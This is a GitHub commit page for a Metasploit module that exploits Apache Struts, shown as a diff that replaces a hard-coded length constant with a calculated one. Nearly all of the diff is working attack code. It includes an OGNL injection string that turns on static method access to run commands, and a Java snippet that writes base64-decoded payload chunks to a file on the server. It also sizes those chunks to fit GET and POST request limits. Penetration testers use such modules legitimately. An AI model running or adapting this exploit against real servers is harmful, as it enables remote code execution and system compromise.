Skip to content

Commit 5fa8ecd

Browse files
committed
removed magic number 109
now calculated from the actual length of all static URL elements
1 parent 47524a0 commit 5fa8ecd

File tree

1 file changed

+18
-15
lines changed

1 file changed

+18
-15
lines changed

modules/exploits/multi/http/struts_include_params.rb

Lines changed: 18 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -73,19 +73,21 @@ def initialize(info = {})
7373
OptEnum.new('HTTPMETHOD', [ true, 'Which HTTP Method to use, GET or POST','GET', ['GET','POST']]),
7474
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
7575
], self.class)
76+
77+
#initialise some base vars
78+
@inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}"
79+
@java_upload_part_cmd = "#f=new java.io.FileOutputStream('FILENAME',APPEND),#f.write(new sun.misc.BASE64Decoder().decodeBuffer('BUFFER')), #f.close()"
7680
end
7781

7882
def execute_command(cmd, opts = {})
79-
inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}"
80-
inject.gsub!(/CMD/,cmd)
83+
inject_string = @inject.gsub(/CMD/,cmd)
8184
uri = normalize_uri(target_uri.path)
8285
req_hash = {'uri' => uri, 'version' => '1.1', 'method' => datastore['HTTPMETHOD'] }
83-
8486
case datastore['HTTPMETHOD']
8587
when 'POST'
86-
req_hash.merge!({ 'vars_post' => { datastore['PARAMETER'] => inject }})
88+
req_hash.merge!({ 'vars_post' => { datastore['PARAMETER'] => inject_string }})
8789
when 'GET'
88-
req_hash.merge!({ 'vars_get' => { datastore['PARAMETER'] => inject }})
90+
req_hash.merge!({ 'vars_get' => { datastore['PARAMETER'] => inject_string }})
8991
end
9092

9193
# Display a nice "progress bar" instead of message spam
@@ -133,16 +135,18 @@ def exploit
133135
end
134136

135137
print_status("Preparing payload...")
136-
#Now with all the arch specific stuff set, perform the upload.
137-
#161 = length of cmd string from "java_upload_part" method plus the max length of the boolean value append and the length of the inject string.
138-
#Need to calculate 161.
139-
sub_from_chunk = 161 + @payload_exe.length + normalize_uri(target_uri.path).length + datastore['PARAMETER'].length
138+
# Now with all the arch specific stuff set, perform the upload.
139+
# Need to calculate amount to allocate for non-dynamic parts of the URL.
140+
# Fixed strings are tokens used for substitutions.
141+
sub_from_chunk = append.length + ( @java_upload_part_cmd.length - "FILENAME".length - "APPEND".length - "BUFFER".length )
142+
sub_from_chunk += ( @inject.length - "CMD".length ) + @payload_exe.length + normalize_uri(target_uri.path).length + datastore['PARAMETER'].length
140143
case datastore['HTTPMETHOD']
141144
when 'GET'
142-
chunk_length = 2048 - sub_from_chunk
145+
chunk_length = 2048 - sub_from_chunk # Using the max request length of 2048 for IIS, subtract all the "static" URL items.
146+
#This lets us know the length remaining for our base64'd payloads
143147
chunk_length = ((chunk_length/4).floor)*3
144148
when 'POST'
145-
chunk_length = 65535 # Just set this to an arbitrarily large value, as its a post request we don't care about size.
149+
chunk_length = 65535 # Just set this to an arbitrarily large value, as its a post request we don't care about the size of the URL anymore.
146150
end
147151
@notify_flag = 0
148152
while pl_exe.length > chunk_length
@@ -159,10 +163,9 @@ def exploit
159163
end
160164

161165
def java_upload_part(part, filename, append = 'false')
162-
cmd = ""
163-
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
164-
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
165-
cmd << "#f.close()"
166+
cmd = @java_upload_part_cmd.gsub(/FILENAME/,filename)
167+
cmd = cmd.gsub!(/APPEND/,append)
168+
cmd = cmd.gsub!(/BUFFER/,Rex::Text.encode_base64(part))
166169
execute_command(cmd)
167170
end
168171

0 commit comments

Comments
 (0)